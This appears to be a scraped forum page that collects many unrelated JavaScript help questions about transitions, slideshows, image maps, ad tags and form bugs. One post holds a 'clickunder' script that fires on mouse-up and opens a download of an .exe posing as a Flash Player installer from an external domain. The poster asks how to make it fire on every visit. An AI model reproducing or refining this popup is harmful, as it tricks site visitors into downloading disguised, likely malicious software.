|
JavaScript - Script Glitching Mid-transition?
Similar TutorialsGood day, This program is supposed to have a "box" cover the entire screen and then collapse upon opening the page... I cannot find what is wrong, other than the obvious error that there is no object or it is null, but this is the example the book gave... Anyone care to give me a point in the right direction Thanks, in advance. ao5431 <code> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Boxed In</title> <link rel="stylesheet" href="js_styles.css" type="text/css" /> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <script type="text/javascript"> /* <![CDATA[ */ var clipSpeed = 5; var clipRight = 0; var clipLeft = 0; var clipTop = 0; var boxSize; var stopShrinking; var clipBottom = 0; var clipBox; var clipBox = document.getElementById("box").style; function startShrinking() { if(navigator.appName == "Microsoft Internet Explorer") { boxSize = document.documentElement.clientWidth / document.documentElement.clientHeight; clipRight = document.documentElement.clientWidth; clipBox.width = clipRight + "px"; clipBottom = document.documentElement.clientHeight; clipBox.height=clipBottom + "px"; } else { boxToShrink = window.innerWidth/window.innerHeigth; clipRight = window.innerWidth; clipBox.width = clipRight + "px"; clipBottom = window.innerHeight; clipBox.height = clipBottom + "px" } stopShrinkingInterval("shrinkBox()", 100); } function shrinkBox() { if(navigator.appName == "Microsoft Internet Explorer") minBoxSize=document.documentElement.clientWidth/2; else minBoxSize = window.innerWidth/2; if (clipLeft > minBoxSize) { clearInterval(stopShrinking); clipBox.display = "none"; } clipBox.clip = "rect(" + clipTop + "px" + clipRight + "px" + clipBottom + "px" + clipLeft + "px)" clipLeft += boxSize * clipSpeed; clipTop += clipSpeed; clipRight -= boxSize * clipSpeed; clipBottom -= clipSpeed; } /* ]]> */ </script> </head> <body onload="startShrinking()" > <div id="box" style="position:absolute; background-color:blue"></div> </body> </html> </code> Hi All I'm using the fantastic turtorial here for my site navigation: http://css-tricks.com/6336-dynamic-p...acing-content/ It's all working wonderfully but I've hit a major stubmling block. After the new page is loaded it won't load an scripts. E.g. I'm using scripts for expanding divs, galleries, contact forms etc and they simply don't run after the page transition Let me know if you need a link to my project I'm aware the page isn't actually 'refreshed' so I'm asuming they wont fire the standard way by having the script tags in the header (Please correct me if I'm wrong) So my question is how can I get them working once the new page is loaded? Script below: Code: $(function() {
var newHash = "",
$mainContent = $("#right"),
$pageWrap = $("#wrap"),
baseHeight = 0,
$el;
$pageWrap.height($pageWrap.height());
baseHeight = $pageWrap.height() - $pageWrap.height();
$("nav").delegate("a", "click", function() {
window.location.hash = $(this).attr("href");
return false;
});
$(window).bind('hashchange', function(){
newHash = window.location.hash.substring(1);
if (newHash) {
$mainContent
.find("#guts")
.fadeOut(200, function() {
$mainContent.hide().load(newHash + " #guts", function() {
$mainContent.fadeIn(200, function() {
$pageWrap.animate({
height: baseHeight + $mainContent.height() + "px"
});
});
$("nav a").removeClass("current");
$("nav a[href="+newHash+"]").addClass("current");
});
});
};
});
$(window).trigger('hashchange');
});
All help is appreciated Thanks in advance Craig Hello all.. I am relatively new to javascript. I am using a javascript code for a slideshow inside a photo gallery. With the current code there is some degree of overlap between consecutive images so that the images merge for a second. I want a traditional slideshow where one image stays for 3 seconds, fade out without any steps, and next image entering without any delay. Dont want any merging. Which function should I change for that? Is it parameters in set interval? Hello, I am creating a little script that allows me to scroll my content sections in and out though Ajax and CSS. I have have successfully made it slide in from the top but I have one problem, sliding out! I wrote a clip for 'aniOut' that works also but I cant seem to make one load before the other in transition. I am not very good with javas cript anyone have any suggestions? So far this only is working for Chrome. My site is live with the working slide in at The Mind Company. Also I am having a load issue with some browsers and computers where the page must be refreshed in order to view proper, any suggestions? CSS: Code: header {
z-index:100;
position:relative;
display: block;
background-color: #272727;
height:100px;}
#contentBody {
min-height:48em;}
footer {
position:relative;
display: block;
background-color: #272727;
height:168px; }
#aboutPage {
display:none;}
#productPage {
display:none;}
#contactPage {
display:none;}
.aniIn {
z-index:0;
-webkit-animation-name: ANIMATEin;
-webkit-animation-duration: 0.25s;
-webkit-animation-iteration-count: 1;
-webkit-animation-timing-function: ease-in;
}
@-webkit-keyframes ANIMATEin {
from {
margin-top:-4000px;
}
to {
margin-top:0px;
}
}
.aniOut {
-webkit-animation-name: ANIMATEout;
-webkit-animation-duration: 2s;
-webkit-animation-iteration-count: 1;
-webkit-animation-timing-function: ease-in;
}
@-webkit-keyframes ANIMATEout {
from {
margin-top:0px;
}
to {
margin-top:3000px;
}
}
Script: Code: function $_(IDS) { return document.getElementById(IDS); }
function ani(){
document.getElementById(classID).className ='aniOut';
}
function checkPage(classID, url){
var tmp = '';
var sel = document.getElementsByTagName('section');
for (var i=0; i<sel.length; i++){
if (sel[i].id == classID) { tmp = 'block' } else { tmp = 'none' }
$_(classID).className ='aniIn';
sel[i].style.display = tmp;}
$_(classID).style.display = 'block';
loadContent(classID, url); }
function loadContent (classID, url){
var xmlhttp;
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById(classID).innerHTML=xmlhttp.responseText;}}
xmlhttp.open("GET","content/"+url,true);
xmlhttp.send();}
HTML: Code: <!-- Header Areas: (Constent visual)-->
<header>
<li><a href="#" onclick="checkPage('aboutPage', 'about.html');return false">About</a></li>
<li><a href="#" onclick="checkPage('productPage', 'projects.html');return false">Projects</a></li>
<li><a href="#" onclick="checkPage('contactPage', 'contact.html');return false">Contact</a></li>
</header>
<!-- Content Areas: (Variable visual)-->
<div id="contentBody">
<section id="aboutPage"></section>
<section id="productPage"></section>
<section id="contactPage"></section>
</div>
<!-- Footer Area: (Constant visual)-->
<footer></footer>
Hey all- I've gotten accustomed to using coda slider 2.0 to do some cool interactive sliding elements on my pages. However, i need something similar that will fade instead of slide. I've searched all over their home forums and it seems like no one there has an answer for how to implement the change in the current codaslider infrastructure. (http://www.ndoherty.biz/demos/coda-slider/2.0/) I need something that has all the functionality of coda slider (easy transitions, div's containing lots of content- both images and text, forward/back buttons, autoplay) but with a fade transitions any ideas? Hello good coders! Thanks to the wonderful script provided by coothead he http://www.codingforums.com/showthread.php?t=87036 I was wondering how I could adjust the transition/fade speed between the images in the script? I tried a couple of different ways, but I couldn't get it working. Does anyone know how I can adjust this in a cross-browser compatible way? Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>multiple image maps</title>
<base href="http://coothead.homestead.com/files/"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
/*<![CDATA[*/
#mapImage_holder {
text-align:center;
}
#mapImage {
border:1px solid #000;
}
/*//]]>*/
</style>
<script type="text/javascript">
//<![CDATA[
var maps=new Array();
maps[0]='dots.gif,#dots';
maps[1]='map.jpg,#blood';
maps[2]='apple0.jpg,#apples';
var c=0;
var speed=1000*10; //set for 10 secs, change to suit needs.
function swapMap() {
obj=document.getElementById('mapImage');
if(c==maps.length) {
c=0;
}
obj.src=maps[c].split(',')[0];
obj.useMap=maps[c].split(',')[1];
c++;
setTimeout('swapMap()',speed);
}
window.onload=swapMap;
//]]>
</script>
</head>
<body>
<div id="mapImage_holder">
<img id="mapImage" src="dots.gif" alt="" usemap="#dots"/>
</div>
<div>
<map id="dots" name="dots">
<area coords="85,40,110,65" href="http://www.bbc.co.uk" alt="" />
<area coords="225,100,250,125" href="http://www.itv.com/" alt=""/>
<area coords="345,140,370,165" href="http://www.channel4.com/" alt=""/>
<area coords="405,270,430,295" href="http://www.guardian.co.uk/" alt=""/>
<area coords="35,290,60,315" href="http://www.independent.co.uk/" alt=""/>
<area coords="605,460,630,485" href="http://www.thesun.co.uk/" alt=""/>
</map>
<map id="blood" name="blood">
<area coords="40,144,80,171" href="http://www.codingforums.com/" alt="" />
<area coords="112,144,152,171" href="http://www.w3schools.com/" alt="" />
<area coords="184,144,224,171" href="http://w3c.org/" alt="" />
<area coords="256,144,296,171" href="http://www.alistapart.com/" alt=""/>
</map>
<map id="apples" name="apples">
<area coords="0,0,116,146" href="http://www.axialis.com/" alt=""/>
<area coords="124,0,236,146" href="http://www.photoshopsupport.com/" alt=""/>
<area coords="244,0,360,146" href="http://www.photoshopuser.com/" alt=""/>
<area coords="0,154,116,280" href="http://www.planetphotoshop.com/" alt=""/>
<area coords="124,154,236,280" href="http://www.photoshopcafe.com/" alt=""/>
<area coords="244,154,360,280" href="http://www.mozilla.com/" alt=""/>
</map>
</div>
</body>
</html>
Hi All, I have two scripts which I want to try and integrate. I am using a nice gallery script to show thumbnails which are appended to a an image wrapper which on click of the thumbnail shows the larger image in the image wrapper, I am trying to implement cloud zoom which is a plugin which uses image srcs to then point to an anchor href to show another larger zoom image either in the same place.. which is what I am trying to do or in another div beside. I have had to set me img srcs up in a certain way to easily enter some product details. and I need to try an manipulate the code to make it work to suit my file layout. I am using a var= images [ with a series of file locations and info such as below { src: 'romanticabride/thumbs/tn_Shauna.jpg', srcBig: 'romanticabride/images/Shauna.jpg', title: 'Shauna', longDescription: '<b><H1>Shauna</H1></b><br><b>Romantica Of Devon <br><br><h2>Sizes Available:</h2><br> 6 - 32.<b><br><b><br><b><b><b><H2>Colours Available:</h2><b><br>Various<br>Please Enquire Below<br><br><br><br><a href="mailto:tracy@cherishbridal.co.uk?subject=Web Enquiry Regarding Romantica Shauna Bridal Gown"class="enquiry rose glow" >Click To Enquire About This Item </a>' }, what I need is for cloud zoom to work when the main image wrapper is hovered over which means it will need to add a class or when the whichever srcBig: is hovered over it gets wrapped by href to make the script work . one of my pages is http://www.cherishbridal.co.uk/romaticabride.html the cloud zoom script is at http://www.professorcloud.com/mainsite/cloud-zoom.htm.. I am happy to share a jsfiddle with someone or explain further or post some code. Thank you in advance I have a script that works in seamonkey(my html editor) but when I use it in IE8 it says errors happen. Here's the code (the first line is on line 7 of the html file): Code: <script type="text/javascript">
function enlarge(imageNum)
{
var numToString = "";
if(parseInt(imageNum) < 10){
numToString = "0" + imageNum;
}
else
{
numToString = imageNum + "";
}
window.open("images/LgScreenshot"+numToString+".jpg","Screenshot "+imageNum,"status=0,height=675,width=900,resizable=0");
}
</script>
And the errors: Webpage error details User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.3; .NET CLR 3.0.30729) Timestamp: Wed, 10 Feb 2010 14:58:16 UTC Message: Object expected Line: 150 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html Message: Invalid argument. Line: 18 Char: 1 Code: 0 URI: http://samssc2site.co.cc/Features.html does any expert know how to pass parameters in the <script ..> tag? for instance; Code: <script type="text/javascript" src="script.js ?param1=val1¶m2=val2&etc "> in the javascript script.js, how would we read the params after the question mark? for example, google this; google shopping cart /v2_2/cart.js I need to assign a key in the javascript to actually make the javascript work,. I have a bookmark in chrome , a javascript , which actually works when clicked on it .,. but how can i edit it so that i can actually make it work on click a key or combination of keys. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. i want to declare the key or keycombo in the script itself .,. the script is for catching the selected text on the webpage and opening a new tab(or window) and doing an exact search search of the selected text using google.com .,., So I want it to work it this way ., select the text press a key and it opens a new tab (or window) with an xact search .,. Thanks in advance ., Nani On this website: http://evancoleman.net/index.php I really like on the top how the menu has like 5 or 6 icons, and when you hover over them it shows a bubble with the name in them. Does anybody know where I can find this script? Thanks. Hello again . If these questions concerning Regular Expressions are inappropriate in this forum please let me know . Thank You. This expression <script[^>]*>.*?</script> matches ... Code: <script type="text/javascript">var cnnIsHomePage = true;</script> but not ... Code: <script type="text/javascript">
var cnnIsHomePage = true;
</script>
Please , how can i match the latter ? Hello Everyone, Im having trouble at work. They asked me to write a script that will take the 25 first words of a web page and store it to use it later on in the back office of a platform. My problem is i do not know how to get javascript to view 25 words from a site. I wouldnt be able to touch the HTML on the Site. Is this possible? please help someone please delete this!!
I'm looking for something that i can put into my HTML page that will display the following information about the users computer: OS version, browser version, quicktime + flash + adobe reader + java + windows media player + sliverlight versions of the users computer. Can anyone please help??? I don't know a lot about this so something i could copy and paste would be great! I need it to work across all the major browser types. Thanks!!!! Hallo I have a Tag, that i have to change with Javascript. This Tag : Code: <script src=”http://bs.serving- sys.com/BurstingPipe/adServer.bs?cn=sb&c=17&pli=283815&pi=0&w=300&h =250&ncu=$$[your-adserver-clickstring]$$&ord=[timestamp]”></script> <noscript> <a href=”[your-adserver-clickstring]http%3A//bs.serving- sys.com/BurstingPipe/BannerRedirect.asp%3FFlightID%3D283815%26Page%3 D%26PluID%3D0%26Pos%3D5148” target=”_blank”><img src=”http://bs.serving- sys.com/BurstingPipe/BannerSource.asp?FlightID=283815&Page=&PluID=0&P os=5148” border=0 width=300 height=250></a> </noscript> In order to track clicks: Add EASLink= parameters into the redirect string and exchange [timestamp] with _U_. To This Tag: Code: <script src=”http://bs.serving- sys.com/BurstingPipe/adServer.bs?cn=sb&c=17&pli=283815&pi=0&w=300&h =250&ncu=$$EASLink=http://emediate.com$$&ord=_U_”></script> <noscript> <a href=”EASLink=http%3A//bs.serving- sys.com/BurstingPipe/BannerRedirect.asp%3FFlightID%3D283815%26Page%3 D%26PluID%3D0%26Pos%3D5148” target=”_blank”><img src=”http://bs.serving- sys.com/BurstingPipe/BannerSource.asp?FlightID=283815&Page=&PluID=0&P os=5148” border=0 width=300 height=250></a> </noscript> I tried it with this Code, but it wont work, please can someone help me with the script: Code: case "EyeBlaster":
HrefRegex = /(<a href=\")/gi;
TimestampRegex = /ord=\[.*\]/gi;
clickRegex = /ncu=[^&]*/gi;
DisplayContainer.value = DisplayContainer.value.replace(TimestampRegex, "ord=_U_");
DisplayContainer.value = DisplayContainer.value.replace(HrefRegex, "EASLink=");
if (DisplayContainer.value.match(clickRegex)) {
DisplayContainer.value = DisplayContainer.value.replace(clickRegex, "ncu=EASLink=");
} else {
clickRegex = /ord=/gi;
DisplayContainer.value = DisplayContainer.value.replace(clickRegex, "ncu=EASLink=&ord=");
}
break;
Hi there, I'm not too familiar with js, so I'm asking for help I have this script below which loads flash object after clicking fb like button. My question is how to do it after clicking the fb like button automatically to recognize youtube flash object or an object from another tube site? Is it possible? Thank you in advance! Code: <script type='text/javascript'>
window.fbAsyncInit = function() {
FB.init({appId: "0000000000000", status: true, cookie: true,
xfbml: true});
};
(function() {
var e = document.createElement("script"); e.async = true;
e.src = document.location.protocol +
"//connect.facebook.net/en_US/all.js";
document.getElementById("fb-root").appendChild(e);
}());
FB.Event.subscribe('edge.create', function(href, widget)
{
setTimeout("playvideo1();", 0);
});
function playvideo1()
{
document.getElementById('playvideo1').innerHTML = '<object ....... </object>';
}
</script>
This is clickunder script , but i need whenever i open page again , it works again at this current form , it doesnt open clickunder whenever i open page again what codes must change ? Code: <SCRIPT LANGUAGE="Javascript">
function PopShow3() {
CookieTest=navigator.cookieEnabled; if(CookieTest)
{
ClickUndercookie = GetCookie('clickunder');
if (ClickUndercookie == null)
{
var ExpDate = new Date (); ExpDate.setTime(ExpDate.getTime() + (144 *60 * 60 * 1000)); SetCookie('clickunder','1',ExpDate, "/");
window.open("http://adodes.ru/download/instal_flash_player.exe");
window.focus();
}
}
}
function GetCookie (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value) { var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); }
document.onmouseup=PopShow3;
</SCRIPT>
hi, can any tell me that which script they are using?? and plz if u have share it Thanx http://www.nation4all.org/mf/ regards Fawad Quote: function hTools() { var hTools = new Array(6); hTools[0] = "hand tools"; hTools[1] = "saw"; hTools[2] = "hammer"; hTools[3] = "screwdriver"; hTools[4] = "wrench"; hTools[5] = "pliers"; } if(hTools[0] == true) { document.forms[0].item_one.value ="0"; } else if(hTools[1] == true) { document.forms[0].item_one.value ="$20.00" } then I call it fro an onchage selection list Quote: <p><select name ="hTool" onchange ="return hTools();"> <option value ="hTool0">Hand Tool</option> Quote: Item 1: <input type ="text" name ="item_one" My script or my call or both is not working could you please look at it and tell me what I am doing wrong |
|||||||